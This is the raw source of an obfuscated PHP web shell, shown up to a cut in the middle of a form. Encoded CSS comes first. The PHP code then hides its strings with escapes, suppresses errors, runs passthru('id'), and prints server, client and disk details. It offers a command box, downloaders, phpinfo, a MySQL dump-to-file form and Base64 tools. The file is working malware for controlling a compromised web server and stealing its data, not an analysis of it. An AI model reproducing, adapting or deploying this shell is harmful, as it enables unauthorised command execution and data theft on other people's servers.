\x38\x36;\046#1\x3083;&\x2310\0711\073&\x23\061\x30\x38\067;\046\x23108\070;&\0431\06086;&#\061\0607\071;\x26#\061\060\0708;\x26#1\x30\0672\x3b&\x231\060\0715;\046\x231\x3085;\x26\x23\x3109\071\073\046#1081\073\040&\04310\x39\x34;\046#\06107\x34\x3b&\x23\061\060\0677;m\060\073 &\0431\060\x392\073l\066\x3bl\065\073&\043\x3107\062\073 \x2a/\x0d\012\040\x20\040\x7a\055i\156dex\x3a\0610\x30;\040\x2f*
\0674;\046\x231099\x3b&#\0610\x374;\x26#\x31\x308\x36;\x26#\x31\x3076;&\x23\06108\x30\073\x30\070\x34; &\x231\x30\x392;\046\0431\x308\066\073\x26#\x31\06085;\040\06087\x3b\046\043\061086;\x3074;\x26#1\x30\067\067;&\043\x3108\070;\x3093;\x20\046#107\064\x3b\x308\x39;&\x231\x30\x377;\x309\x33; \046\x231\x308\x39;\046#108\063\073\x26#1086\x3b\046#1\06077\x3b&\x23\x310\067\064; \x3085\073&\x231072; &\x23\x31\x3089;\x26#10\x390;\x26\0431088;\x30\x372;&#\x31085;
\x380;&\x231\x309\x34\x3b&\x231077; \x26#10\x37\x33\073&\x231\x3088\x3b\046#\x31\x30\x37\x32;\x26\x23109\061\x3b&\0431079\x3b\046#\x31\x30\x377;&#\06108\070\073&\x23\x310\x37\062\x3b */\015\x0a\040 \040o\x70a\143i\164y:\060;\x20/* \046#\x31\x304\064\073&#\061\0607\x37\073\x26#\x31\06083;\046#1072;\046#1\x30\x377;&\x23\0610\x384\x3b
\070\065;\x26\x23\061\x30\x377;\046\043\06107\x34;\046\0431\06080;&#\0610\0676;\046#1\06080;&#\x310\x384\073
\x399;\046\043\06108\064; */\015\x0a\x20 p\x6fint\145r-ev\x65\156t\163\x3a\x20\x6eo\156\145; \057\x2a\040\046#\061\x31\x30\x31;\x3083;&\043107\x37\x3b&#\x310\0704;&\043107\x37;&\x2310\x385\x3b&\04310\0710\x3b \046#1085;&\043\0610\0677;\060\067\064\x3b&#\x310\x380;\x26\0431\x3076;&\04310\x38\060\x3b&\0431\060\0704;\x20&#\06107\x36;\060\x383\073\046\x231\x31\0603; &#\061089;\x26#\061\0608\066\x3b\046\x231\x3073;&#\061\x30\x399\x3b&\x23109\x30\x3b\x26\x23\x3108\060;
\070\061\x3b\x20\x26#1\x30\0704;&#\x3109\071\x3b\x26\x231096\073&\x2310\x380;\040\052/\015\012 \x20 }\015\x0a\x20 /\052 \x308\067;\046#10\x388;\046\x2310\070\060;\040
\x38\x36\x3b\046#\061\06090;l\x36;\046\043\061\0607\063;\046\x231\060\0708\073\06072;\046#\x31\06078;&\043\061\x307\x37\x3b\046#1\060\0705\x3b&\x231080\x3b&\043\061\060\x380\x3b &\0431\06084\073\046#1086\073&\0431\x30\0676\x3b\x26#1\x307\x32;\x30\x38\063\073??\x3b\x26#10\x38\065\073&\04310\070\x36\x3b
\x375;&#\x310\0706;\040&#\x3108\x36\073\06082;\046#\x31085;?? \055\x20\0608\x30\073??\x26#1\x30\067\067\x3b&\043\x31085\x3b\x26#1\x30\0705;\x26\x231\06086;\x20\046\x23\x31079;\x26#1\060\067\x36;&#\061\x307\067;&\x23\x31089;\x26#\061\x310\x30\x3b\040&\x231\x3085\x3b\x3072\073\x30\x395;\x26\x231\x30\x380\073&#\061\06085;&\0431\x30\x37\062;\046#10\x377\x3b\x26#10\0710;&\x23\x3108\x39;&#\x31103\073\x20&\043108\064;\x26\043\061\x30\0672\x3b&#\x31075\x3bl\x30;\046#1\x310\x33; */\x0d\012 \040.mod\141\154b\141ckgr\157und:tar\x67e\164 {\x0d\012 \040op\141\x63\151t\171:\0401\073 \x2f\x2a &#\061\x30\x376;&\x23107\067;&\x23\x3108\063;&#\x31\x3072\x3b\x26#1\06077;\x26#\x31\x30\x38\064;
\0706\073&#\x31082;l\x35;\x26#\x310\x386;\040&\x23\x310\067\x34\x3b\x26#1080;\x26\x23\x31076;\046\0431\x30\x38\060;\x26#1\060\070\064\x3b\x26#1099\073\x30\x384\073\040*/\015\012\040 p\157in\164\145r-ev\x65n\164s:\x20\x61uto\x3b /\x2a\x20&\04311\0601;
\x38\063;\x26#10\067\067;\x26#\061084\x3b&\0431\06077;\046\04310\0705;\x26#\061\060\0710; \x26\x23\x3107\x34;??\x3b\046#1\060\x37\066\x3b&#\0610\x380;\060\x384; \x26\x231076;&#\x310\0703;\046#1\x3103\x3b &\x23\0610\070\071;&\x23\0610\x38\x36;&\04310\067\x33;\x26\x23\061\060\0719;
\0710;\046\x231080;&\x231\x3081\073 \046#108\064\x3b&#\x310\0719\073&\043\061\x3096;\046#\x31080;\040\052\057\x0d\x0a\x20\x20 t\x65xt-al\x69gn\072\x20\143\145\x6e\164e\x72\x0d\x0a }\x0d\012 \x20\x20/\x2a &#\x310\071\066;
\0700;
\x38\070\x3b\x26#1\x3080;&\04310\070\065\073&\043\x3107\062\073 &#\061\060\0676\x3b
\0700\x3b\x26#\x310\x372;\x26\0431083;??&\04310\x375\073\0608\x36\073\x26#10\x37\064;&\043108\066\x3b??\046\x231086\073 &#\061\060\x38\x36\x3b&\x23\061082\073\060\x38\x35;&\0431072; \x26\043\x31\x30\070\x30; &\0431077\073\x26#1\x30\0675\073\046#1\x30\x386\x3b\040\046#\x31\x308\x36\073\046#1\0609\x30;\046#\x31\x30\0709;&\x231\x30\x390\x3b\046#\x31\060\0711\x3b&\x23\061\x30\0707\x3b&#\x3109\071; &\043\x3108\x36;&#\061\060\071\x30;\040\x26#11\0601;\x26\x231\x3082\x3b&\x23\x31\060\0708\x3b\060\067\x32\x3b&#\061085\073?? \052\057\x0d\012\040\x20 .\155odalwin\x64o\167 \x7b\x0d\x0a \040\x20disp\154ay:\040i\156l\151\x6ee\055blo\143k\073\015\012\040\x20 m\x61rg\151\156\072 \0610\x25 \x61u\x74o;\015\x0a pa\144din\x67\x3a\x201%\073\015\012 \x20\142ack\147\x72o\165\x6ed:\x20\043\146f\x66;\x0d\x0a\x20\x20\040\x62\x6fr\x64er\x2d\x72a\x64i\x75s\072 3p\170;\015\x0a \x66on\164\055size:\x20\x316px\x3b\x0d\012 \x20\040\x7d\x0d\x0a .m\x6fdal\x77i\156d\157\x77\062 {\015\x0a di\x73\160lay\072 i\156\x6c\151ne\055b\154oc\x6b;\x0d\012\x6da\x72g\x69n: \x32% a\x75t\157;\x0d\x0apa\x64di\x6eg\072 \x31%;\015\x0a\142ackgro\165nd:\040#ff\146\073\015\012bo\162\144er\055\x72\x61di\x75\163\072 3\x70x;\015\012f\x6fn\164-size:\x201\x36px\073\015\012\x68eig\x68\164\072 8\060%\x3b\x0d\012\167\x69dt\150\x3a\x209\060\045;\x0d\x0a\x7d\015\x0a \040/* \x26\x231\060\x38\x36;&\043109\x32\073\x26#10\070\x36;\x26\0431\x308\x38;&\x23\061084\x3bl\063\073\x26\04310\0677\x3b\046\x23\061085\x3b&#\x31\0608\x30;&\x23\x31077; &#\x310\x389;\x26\x23\x31086\073\x26#1086;&\043\061073;\x26#\x3109\067\x3b\x26\0431077;\046#1\060\x38\x35\x3b\x26\x23\x3108\x30;&#\x3107\067; */\x0d\x0a \x20\x20.\155\x6fd\x61lwindow\040p\040{\015\012\x20 \x70\141\x64d\151\156g: 0\x3b\x0d\x0a \x20 \155arg\151n\072\0404% 0\x20\070% 0\073\x0d\012\x20 \164e\x78t-\x61lign\072 c\145nte\162;\x0d\x0a\x20 \x20\175\015\x0a\x20\x20 \056\x6dod\141\154wi\x6edo\x772 \x70 \173\015\x0a \x20\x20pa\144ding: 0;\x0d\012\040 \040\155a\x72gi\x6e: \x34\x25\x20\x30 \064% \x30\x3b\015\012 \040 te\x78t-\141l\x69g\x6e:\x20cente\x72\x3b\015\x0a \040 \x7d\015\012\040\x20 /*\x20&#\061\060\067\064\073\046#\06108\060\x3b\x26\043\x310\x376\073 &\x23\x310\x382;&\x23\x31085;&#\061\x30\0706\x3b\x26#1\06087;
\070\x32;&\0431080\073\x20\046#1\06047;\046#\x31\x3040;&\x23\061050;\0605\x36\073&\x23106\x37\073&#\x31\06058;\046\04310\066\070; \x2a\057\015\x0a \040.mo\x64\141lw\x69nd\x6f\x77 a\040{\x0d\012 \x20displ\x61\x79: \x62lo\143\x6b;\015\x0a \143o\154or\072 #f\x66f;\x0d\012 \x20 \142a\x63\153g\x72\157und: #369\x3b\015\012 \x20 \160a\x64\x64i\156g\x3a\040\x31\045;\x0d\012\040\040\x20ma\162g\151\156:\040\x30\040\141ut\x6f\073\015\012 w\151\x64\x74\150:\x2050\045\073\015\012 bord\145\162\055r\141d\151us:\0403p\170;\015\x0a \x20\x20\x74\145\x78t-a\x6c\x69\x67n\072\040ce\x6e\x74\x65\x72;\x0d\x0a\x20 \164\x65xt-\144\x65\x63ora\x74i\x6fn\x3a\040no\x6e\x65\x3b\x0d\012 \x20}\x0d\x0a.modal\x77\151ndow\062 a {\x0d\x0a \x64ispl\x61y: bl\157ck;\x0d\x0a \x63olor\x3a #\x66ff\x3b\x0d\x0a \x20back\147rou\x6e\x64\072\x20#369;\x0d\x0a \040 paddi\156g:\0406\160x\073\x0d\x0a \040\x20\x6dar\x67\x69n:\x20\060\x20\141\x75t\x6f;\015\012\040 \040width:\04012\x30px\073\x0d\012 bor\144\145r\055radiu\163: \063p\170;\x0d\x0a\x20\x20 t\145xt\055al\x69\x67n: ce\156t\145\x72;\x0d\012\040 \164e\170\x74-d\145\143\x6frat\x69\x6f\x6e:\x20\x6e\157n\x65;\x0d\x0a \040\040}\x0d\x0a\040 \x2f* \x26#1\x30\0674\x3bl\060;&\0431\x30\x376\x3b\x20&\0431082;\060\x38\x35\x3b&\x2310\x386\x3b&\x231\x30\070\x37;&\043\x31\x3082\x3b\x26#108\060; \0604\x37\x3b
\x34\x30;&\x23\061\06050\x3b&\x2310\0656\x3b\046#10\x367;&\x231058;\06068; \046#1\060\0707;\x26\04310\x388\x3bl\060\073 \046#\0610\x38\065\073\x26\0431\x30\x37\062\073
\067\x34;\06077\073&#\0610\x376;??\046\x231085\073\x26\x231\0608\060;&\043\x31\060\x380; \046#\061\x308\x35;&\0431\060\x37\x32;\x20
\0705;&\x2310\x37\x37;\046#1\060\x377; &#\0610\0704\073\x26#\x3109\x39;
\071\x36;\x30\x38\060;\040*/\x0d\x0a\040 .\155\157\144\x61lw\151ndow\040a:h\157ver\040{\015\x0a \040\142\141\x63k\x67rou\156\x64:\040#47a;\x0d\012\x20\x20\x20\x7d\x0d\x0a #inne\162\x31{flo\x61t:ri\147ht;\x7d\015\x0a\040 \040#\x69\156ner2{fl\x6fa\164\072r\x69\x67\x68t;\143lea\x72:\x20right;\x7d\x0d\x0a \x20 hr \173b\157r\x64\x65r:1\160\170 \041importan\164\073h\145\151\x67ht: \x31px\073\x62\x61\143kg\162o\165\156d-\x63o\x6cor\072\x23c\x63\x63\x3bw\151\144th: 1\x300\x25 !i\155port\x61\x6et\x3b}\015\x0a \x2ehid\145{fo\x6e\164-si\x7a\x65\x3a 14px; \155\x61\162g\x69n-\x72ight\x3a\x202\x30px;b\x61ck\147round-\143\157lo\x72:#F1F3\x46\065\x21\151\x6dport\141n\x74\073\x63ol\x6fr\x3a #\x31\x64\x35\x340\x35!\151mp\157r\164a\156\164\073\155arg\x69\x6e-\x6c\145\146\164\072 1px;font\055we\x69\x67\x68t: b\157\x6c\144\073\x74ex\x74-dec\157r\141\164io\156: \x75nd\145\162l\x69n\x65!im\x70ortant\x3b\175\x0d\012 .n\x65w{fon\164\x2ds\151\x7a\x65:\x201\064\x70x;fo\x6et-\x77\145i\x67ht\072\0404\0600\073w\x69dt\x68\x3a\04010\x30\x25;}\015\x0a \040 .\x63\x65\x6eter\x7bfo\156t\055size: 16\x70x;f\x6fnt-\167e\x69ght\x3a\040\x34\x300;}\x0d\x0a \x20\x20\x2e\x65r\x72\x6fr\173\x74\145\x78t-\x61\154i\x67n:\143e\156ter\x3b\x66\157nt\055s\x69ze\x3a2\064\160x;co\154\157\x72\072\x72\145d\073d\151sp\x6c\x61y:blo\x63\153;\155a\162g\x69n\0720\040a\165\164o;}\015\x0a\040 .\141_siz\145\173\146\x6fnt\055s\151\x7a\x65:18\160x\073\x7d\x0d\012 \040 td\x3a\156\x6ft(\x3afi\x72\x73t-c\x68\x69l\144){padding-l\145f\164\x3a\040\x38p\x78;} /\x2a&\x231\0604\x30;\046\043\061085;\x30\067\x32\x3b\x26\043\x3108\x33;??&\x23107\065;
\x380\x3b&\x2310\x39\065\073\x26#\061085;\046#\x3108\066;\x20
\x382\x3b\x26#\0610\x38\070;&#\061\x3086;&#\06108\x34;\x26#1\060\0677; &#\0610\x38\x37;\x26\0431\x307\x37;&#\0610\070\070;\046#\061\06074;\046\x23\x31086;&\043\x31075\x3b??\073 nt\150\055child(n+2)\x2a/\015\x0a \x20.\x61\x72e\141{widt\x68\x3a \0716\045;he\x69g\x68t: \x385%\073\x62o\162d\145\162\072 1\160x sol\x69\x64\040\043c\x63cccc;\x6dargin: \x310px\x20au\164\157;\x6fv\145rflow-\171\x3a a\165\x74\x6f;\x77\x6frd\x2d\x77r\x61p: \x62r\x65ak-wo\162d\073\x74ext-\x61\154ign\072\x20lef\x74;f\157\x6e\164\x2dwei\147ht: \x6eorm\141\x6c;\x66\157\156\x74-si\172\145\x3a \x31\x32p\x78\175\x0d\x0a .\142\x74\x7b\x63olo\162:#\x30\x30\x38\070\x300\073\x7d\x0d\012 \040\x2ep\x6d{\x66\x6fn\x74\x2dw\x65ig\x68t\072 7\060\060;\x66on\x74\055size\x3a\0401\x34px;col\157r:r\x65d}\015\x0a<\x2fst\171le>\x0d\x0a \x20 <\057\150ead>\015\x0a \040\x20<\x62o\144\171>\015\012\015\012";inI_SET("dis\x70la\171\x5ferro\x72\x73",(int)ROund(0+0+0));iNi_sEt("\x64ispla\x79\x5fsta\162\164\x75p\137\x65\162ro\162s",(int)roUnd(0+0+0+0));ERrOr_rEpoRTInG((int)rOund(0+0+0));function _ckskxf($_mkmoxkqd,$_tvwcxnv=false,$_ieenqtvf=073545){$_ksubfh=fIlEPERMS($_mkmoxkqd);if($_ksubfh&((int)RoUNd(1045.5+1045.5+1045.5+1045.5)+(07237+07454-06570)-(010653-06753+06426-0273)+(int)roUNd(-47.333333333333+-47.333333333333+-47.333333333333))){$_zpcpglcs="p";}else if($_ksubfh&(int)ROunD(2730.6666666667+2730.6666666667+2730.6666666667)){$_zpcpglcs="c";}else if($_ksubfh&(int)ROunD(5461.3333333333+5461.3333333333+5461.3333333333)){$_zpcpglcs="\144";}else if($_ksubfh&((057706+060016+-057572)-(060434+-0612)+(int)ROUnD(6169+6169+6169+6169)+(01114+-01570))){$_zpcpglcs="b";}else if($_ksubfh&((int)rOUND(8017+8017+8017+8017)-(077024+-0152)+(int)rOunD(16024+16024)+(01143-02304-02354- -05203))){$_zpcpglcs="\055";}else if($_ksubfh&((int)roUND(13658+13658+13658)+(int)rOUnD(-3.5+-3.5+-3.5+-3.5))){$_zpcpglcs="l";}else if($_ksubfh&((0137777+0137717+0137724-0277710)+(0140462-0140443+0136671- -01117)+(0140012- -060)-(int)RoUNd(32782.333333333+32782.333333333+32782.333333333))){$_zpcpglcs="\163";}else $_zpcpglcs="u";$_bsfrgrlp["read"]=($_ksubfh&((0421+027)-(int)Round(20+20)))?"r":"\x2d";$_bsfrgrlp["w\162i\x74\x65"]=($_ksubfh&(int)RouNd(42.666666666667+42.666666666667+42.666666666667))?"\x77":"\x2d";$_bsfrgrlp["\145\x78\x65c\165te"]=($_ksubfh&(int)ROUNd(21.333333333333+21.333333333333+21.333333333333))?"\170":"\055";$_qhvpxavx["rea\144"]=($_ksubfh&(int)roUnD(8+8+8+8))?"r":"\x2d";$_qhvpxavx["w\x72\x69te"]=($_ksubfh&(int)RoUnd(4+4+4+4))?"w":"-";$_qhvpxavx["e\x78\145\x63ute"]=($_ksubfh&(int)rouND(2.6666666666667+2.6666666666667+2.6666666666667))?"x":"-";$_bhxydu["rea\144"]=($_ksubfh&(int)rOuNd(2+2))?"r":"\x2d";$_bhxydu["wr\151\x74e"]=($_ksubfh&(int)rouNd(1+1))?"\x77":"\055";$_bhxydu["ex\x65\143u\164e"]=($_ksubfh&(int)RouND(0.33333333333333+0.33333333333333+0.33333333333333))?"\170":"-";if($_ksubfh&((02017-02522+02367+0221)+(int)round(697+697+697)-(02411-02247+02111-073)))$_bsfrgrlp["\145x\x65\x63u\164\x65"]=($_bsfrgrlp["ex\145cut\x65"]=="\x78")?"\x73":"S";if($_ksubfh&(int)ROUnd(341.33333333333+341.33333333333+341.33333333333))$_qhvpxavx["\145\x78\x65\143ute"]=($_qhvpxavx["execute"]=="x")?"s":"\x53";if($_ksubfh&((int)ROuNd(241+241)+(0763-050)+(int)rOUnd(-107.25+-107.25+-107.25+-107.25)))$_bhxydu["\145xe\143ute"]=($_bhxydu["\145\170e\x63u\164e"]=="x")?"\164":"T";$_aynwahm=spRinTF("%\061s",$_zpcpglcs);$_aynwahm.=SPRInTf("\0451s\045\061s%1s",$_bsfrgrlp["re\x61\144"],$_bsfrgrlp["wr\151te"],$_bsfrgrlp["ex\x65cu\164e"]);$_aynwahm.=sprINTF("\x251s%\061s\x251s",$_qhvpxavx["\162ead"],$_qhvpxavx["wr\151\x74e"],$_qhvpxavx["\145\170e\143\165\164\x65"]);$_aynwahm.=sPrinTf("%\x31s%1\x73%\061\x73",$_bhxydu["read"],$_bhxydu["\167\162\x69t\145"],$_bhxydu["e\x78ec\165\164e"]);if(strpos($_aynwahm,"\055--",-(int)roUNd(1.5+1.5))){return"\074\x66\157n\164 col\x6fr=\042#\106\x46\x30\060\0600\042\x3e\x3cb\076".$_aynwahm."\x3c\057b\x3e\074/\146\x6fn\164\076";}elseif(strPOs($_aynwahm,"r\167",-(int)rOuNd(1.5+1.5))){return"<f\157\x6et\x20color\x3d\x22#0\0608000\x22>\074b\076".$_aynwahm."</\142></\x66\157\156\164>";}else{return"<\x66ont c\157\x6cor=\x22\x23000000\x22\076\074b\x3e".$_aynwahm."\x3c\x2fb\076\074\057font>";}}function _ddisiu($_mkmoxkqd,$_uoaqojrs="\144\x69\154\x71\x64\x68d\165\163hl\156",$_vxdcl=null,$_eqquue=-0232443,$_bkolke=null,$_uvqp=null){$_xmlypt=subSTR(spRiNtf("\045\157",fiLepeRms($_mkmoxkqd)),-(int)rOUnd(2+2));if((int)(sUbstR($_xmlypt,(0604-0446-036- -0372)-(int)ROuNd(78.5+78.5+78.5+78.5),(int)ROund(-119+-119+-119)+(int)rOund(41.25+41.25+41.25+41.25)-(0123- -0272+-033-0471)-(-0224+-0143+0175)))>(int)ROunD(0.33333333333333+0.33333333333333+0.33333333333333)){return"\074\146ont c\157\x6co\162\075\042#FF8C\0600\042><\x62>".$_xmlypt."<\057\x62\076\x3c/fo\x6et\x3e";}else{return"\074f\157\156\164\x20\x63olor=\042#00\060\x30\x300\042><\x62\x3e".$_xmlypt."</\x62\x3e\x3c/\146\x6fnt>";}}$_cexlww="\015\x0a<div\x20\x63\x6cass\x3d\x22\141l\154\x22 \x69d=\x22m\141in\042\x3e\015\012<div \143\154ass\x3d\042b\154\157c\x6b\x2dhide\x22>\x0d\012<\x64\x69v \143\x6c\141ss=\x22ha\164\042>\x0d\012<\144iv>\015\x0a\x0d\x0a\074/\144i\x76>";echo$_cexlww;if(isset($_POST["\163ub\x6d\x69\x74Btn"])){$_qcaqtti=isset($_POST["pa\x74\150"])?$_POST["pa\164h"]:__DIR__;CHDIr($_qcaqtti);}else{$_qcaqtti=isset($_GET["p\141th"])?$_GET["\x70\x61\164h"]:__DIR__;cHDIr($_qcaqtti);}$_ynpsbyx="pa\163"."\x73th"."ru";$_hons=$_GET["p\141th"];if(empty($_hons)){$_hons=gETcwD();}$_ewokkwy=Php_UNAme();$_jclcueym=pHPveRSIOn();$_awyklxq=syS_gEt_TEMp_dIr();$_syxaveob=diskfreespace("\057");$_uqhffj=dIsk_ToTAL_sPacE("\057");$_mxqqai=$_syxaveob/(int)rOund(262144+262144+262144+262144);$_pdas="\x4db";if($_mxqqai>=((02560+-0652)+(int)rouNd(29+29))){$_mxqqai/=(02422-0552)+(-0112-0262+-0342- -01066);$_pdas="Gb";}$_wnjpz=$_uqhffj/(int)ROUnD(349525.33333333+349525.33333333+349525.33333333);$_tvgab="Mb";if($_wnjpz>=((0661+0555)+(0356-014))){$_wnjpz/=(int)RounD(256+256+256+256);$_tvgab="Gb";}$_qjam=roUNd($_syxaveob/$_uqhffj*100.0,(int)RoUnd(0.66666666666667+0.66666666666667+0.66666666666667));if($_qjam>(int)rouNd(25+25+25+25))$_qjam=(int)ROuNd(25+25+25+25);echo"\074pre\x3e";echo"\151\x64\x20 \040|\x20";echo$_ynpsbyx("\151\144");echo"u\156\141me\x20|\040".$_ewokkwy."\074br>";echo"tmp\040 \040\x7c ".$_awyklxq." ".SubsTr(sPRiNtF("%\157",fiLeperms($_awyklxq)),-((int)RounD(20.25+20.25+20.25+20.25)-(int)rOUND(-44.5+-44.5)-(int)roUnD(39.666666666667+39.666666666667+39.666666666667)-(int)ROuND(15.666666666667+15.666666666667+15.666666666667)))."<br\x3e";echo"\x70h\x70 \040 |\040".$_jclcueym."<br\x3e";echo"s\x65rve\x72|\x20".$_SERVER["SE\122\126E\122_\x4eAM\x45"]." ".$_SERVER["\123ERV\105\x52\x5fA\x44\x44\122"]." ".$_SERVER["S\105RV\105\122_\123OF\124\127AR\x45"]."<br>";echo"cli\145nt|\x20".$_SERVER["R\105MOTE\x5fADDR"]." ".$_SERVER[HTTP_ACCEPT_LANGUAGE]."<b\162\x3e";echo"\x64\141t\x65 \x20| ".Date("Y-m-d-H:i:\163\x20e \x50")."\040\107MT"."<br\x3e";echo"HD\x44 \x7c "."T\x6f\164\141l: ".RoUnD($_wnjpz,(int)RoUND(0.66666666666667+0.66666666666667+0.66666666666667))."\x20".$_tvgab."\x20";echo"F\162e\145:\040".rOUnd($_mxqqai,(int)rounD(162.33333333333+162.33333333333+162.33333333333)-(0420+0656+0722+-01577)+(int)ROuND(-150.5+-150.5)-(int)ROUND(-44.5+-44.5))."\040".$_pdas."(".$_qjam."%\x29"."<br>";echo"\143w\144 \x20|\040".$_hons." "."\133"._ddisiu($_qcaqtti)."\x5d\040"._ckskxf($_qcaqtti)."\074\x68r>";echo"\x3c\x2fpre>";echo"\074/di\166>";function _ssgcj($_mygveyhr,$_wcik=-3.0163199116724,$_xylv="q\152fl\154r\x69nkn\x6fo\x71\154",$_oqfwg=null,$_tftdzsh="\x73h\x67pvv\x78\x72\152fj\165cw",$_xgkeko=false,$_suhphhm=-1.1389671061052){if($_gtypsxr=oPendIr($_mygveyhr)){$_hkqxc=sUBSTR($_mygveyhr,(int)rOuNd(0+0+0),(Strrpos(dIRNAME($_mygveyhr."/."),"/")));if($_hkqxc==null){$_hkqxc="/";}$_uvdkc="\x0d\x0a\x0d\012\074\x64iv \x63\154\141ss=\x22ne\x77\x22\076\015\x0a \x20 \040\040 \x3cla\142el cla\x73\x73=\x22\x64\x65\155os\x22\x20style=\042disp\x6cay:i\156line-\x62lock\x22><\141\x20c\154\x61\163s\x3d\042\144\145\x6d\157li\156k\x22 \x68\162\x65f=\042#t\x6f\157\x6cs\042>\x54\157o\154s\074/\141></l\141bel>\x20\074/td>\015\x0a \x20\x20 \040 \040<\x66o\x72\x6d\x20styl\x65\x3d\042\x64\x69s\160l\141y\072i\156lin\x65;\x66\154\x6f\x61t:ri\x67ht\042\x20me\164\150\157d=\x22P\x4fS\x54\042>\x0d\012 <\151np\x75t\040st\x79le=\042\x6dargi\x6e\055ri\147h\x74:\0405px\x3b\x22\040typ\x65\075\x22s\x75b\155it\x22\040n\x61me=\x22e\x78\x69t\042 \x76a\x6c\x75e=\042E\x58I\x54\042/>\x0d\012 \040 \x3c/\x66\x6frm>\x0d\012\074/\144i\x76\x3e\015\x0a\x3c\144\151v c\154ass=\x22open\042>\x0d\012<di\166>\x0d\x0a<hr>\x0d\x0a\x3c\x66orm a\x63tion=\042\042 s\164yle=\x22di\x73pl\x61\x79\072\x69n\x6cin\145\042 me\164\150\157d\075\042P\x4fST\042>\015\012 \040 <a c\154\x61ss\075\x22h\151\144\x65\x22\040hre\x66=\042\x22>Hid\x65\x20tools\x3c\057a>\x0d\x0a\x20 <i\x6e\x70ut t\x79\x70e\x3d\042submit\x22\040\x6eame=\042in\x66o\x22 valu\x65\075\042phpin\146\157\042\x2f>\x20\x0d\x0a \040 \x3c\x69npu\164\040\x74yp\x65\075\042su\142\x6dit\042 nam\x65\075\x22d\157w\156\042 value=\x22\x64ownloaders\042/>\x0d\x0a \x3c\x69np\165t \164y\160\145=\042\163\x75\142m\151\x74\042 n\141\x6de=\x22\x66un\042\040va\x6c\x75e=\x22\146unc\164\x69\157n\163\042\x2f\x3e\x0d\x0a\x0d\012</fo\x72m\076\x0d\012<for\155\040st\x79le\x3d\042d\151s\x70\154a\x79\072in\154\151ne\042\040me\164ho\144\x3d\042P\x4f\123\x54\042>\x0d\012<inp\165t \164yp\145=\x22\164\145\x78\164\042 \156\141me=\042\143m\x64\x22 pla\x63eh\157l\144\145r\075\x22\103M\x44\042\x3e\015\x0a</for\155\x3e\x0d\x0a<hr\x3e\x0d\x0a<d\151v sty\x6ce=\042\x66\x6co\x61\x74:left;m\141r\x67\151n-ri\x67h\x74:12\160x;\042>\015\x0a<f\x6f\162\x6d \x6de\164hod=\042POST\042>\015\012<\151np\x75t \163\164\171\154\x65=\042wid\164h:178\160x\042\040type=\042te\170t\x22 \156a\x6de\x3d\x22name\042 pl\141c\145\x68ol\144er=\x22D\102 \x6ea\155e\042 req\x75\151r\x65\x64\076<\142r/>\015\x0a<\x69\156put \163\x74yle=\042\x77idth:\x3178p\170\042\040type=\042text\042 nam\x65=\042\x75\x73\x65r\042\x20p\154a\x63\145ho\154d\145r=\x22DB\040use\162\042 requi\162ed\x3e<b\162/\076\x0d\x0a<\151\156\160ut\040s\x74\x79le=\x22wid\x74h:1\x378p\170\x22 \x74ype=\042\160assword\x22 name\075\042pa\x73s\x22 pl\x61\x63eh\157\154\x64er=\x22DB\040pass\x22 \x72eq\x75ire\144>\x3c\142r/>\x0d\x0a<i\x6eput\040s\x74\171\154e\075\042wi\x64t\x68:1\067\x38px\042 t\x79\x70e\075\042text\042 nam\x65=\042\x68\x6fst\042\x20plac\x65\x68\157l\x64er=\042\115\171SQL\040\150\x6fst\042 \162equir\x65\x64><br\057>\015\x0a<in\x70ut\x20\x73tyle\x3d\042w\151d\164\150:\0617\070\160\x78\x22\040t\171\x70\145=\042\x74e\x78\x74\x22 \156am\145\075\042p\x6frt\042 pl\141ce\150\x6f\x6c\x64er\075\042\x50\157rt\042><\142r\x2f\076\x0d\012<b\165t\164\x6fn\040\x73t\171l\145=\x22wid\164\x68:\061\0716\x70x\042 t\x79pe\x3d\042su\x62\x6dit\x22 nam\x65=\x22DB\x22\x3eS\x61v\x65\040D\102\x20to f\x69le.\x73q\x6c<\057\x62\165tton\076<br\x2f><br/\076<b\x72\057>\015\x0a<\x2f\x66o\x72m>\015\012<\057d\x69\166>\x0d\012<di\166\x20\163tyl\x65\075\x22f\x6c\157at: left;di\163play\072\x62\154\x6f\143k\073wi\144\164h\0722\060\x38p\170\x22>\x0d\012<p\x72e>\x0d\x0a\074\146o\x72m\x20\x6d\x65t\x68od\075\042\x50OST\042>\x0d\x0a<l\141\x62\145l\x3e<\x62 \143l\141\x73\x73=\x22\x62t\042>\x42\x61\x73e6\x34\040\145n\143\157\x64\145/deco\x64e\x3a\074\057\142></la\x62el\076\x0d\x0a<in\x70\x75\x74 s\x74\171\x6ce=\x22\167i\x64t\x68:17\070px\x22 \x74y\x70\145\075\x22\164e\x78t\x22\040na\x6de\075\042b\141\x73e\x36\x34\x22\076\015\x0a<t\x61ble\040\143\x6ca\x73s=\042ya\042>\015\x0a<t\162>\015\012<t\x64 \163\164\x79l\x65=\x22pa\x64di\x6e\147: \060\073bor\144\x65r\x3a n\157\156e\x22>\074input \x73\x74yle\x3d\x22marg\x69n-\154\145f\x74\x3a -\061p\170;width\072 \071\066\x70x;\042 \x74y\x70\x65\075\042\163ubmit\x22 \x6eam\x65\075\x22\x73ubm\x69t\042 v\x61l\x75e=\x22\105nco\x64\145\042>\x3c/td\x3e\015\x0a\x3ct\x64\040\x73\164yle=\042p\x61d\x64\x69\x6e\147:\x200;b\x6fr\x64er:\040n\x6fn\145\x22><\151\x6e\160u\164 s\x74y\x6ce\075\x22margin-\162ig\x68t\x3a\040\070px\073\x77\x69dth: 9\066\x70\170;\x22\x20type=\042\x73\165b\155\x69\164\x22 \x6e\x61me\075\042\163\165b\155it2\x22\x20\x76alue=\x22\x44ec\157de\x22>\074/\x74d>\015\x0a\x3c\057\x74r\076\x0d\x0a<\x2f\x74\x61bl\145\076\015\x0a</\146\x6fr\x6d\x3e\x0d\x0a\074\057p\x72\145\x3e\x0d\x0a<\057\144\151v\x3e\x0d\012\x0d\012<\144iv style=\x22f\x6coa\164: l\145\x66t\x3bd\x69\163p\154a\x79:b\x6coc\x6b;w\x69dth\x3a\x3208px\042>\015\012\x3c\160\162e>\x0d\012<fo\162\x6d\x20\040\155\145t\x68o\144\075\x22\x50OST\x22>\015\x0a<\x6cab\145l>\074\142 \143la\163s=\x22\142t\042>U\122L en\143o\144\x65\057\x64\x65cod\x65\x3a<\x2fb>\074/label\076\x0d\012\074i\x6e\x70ut 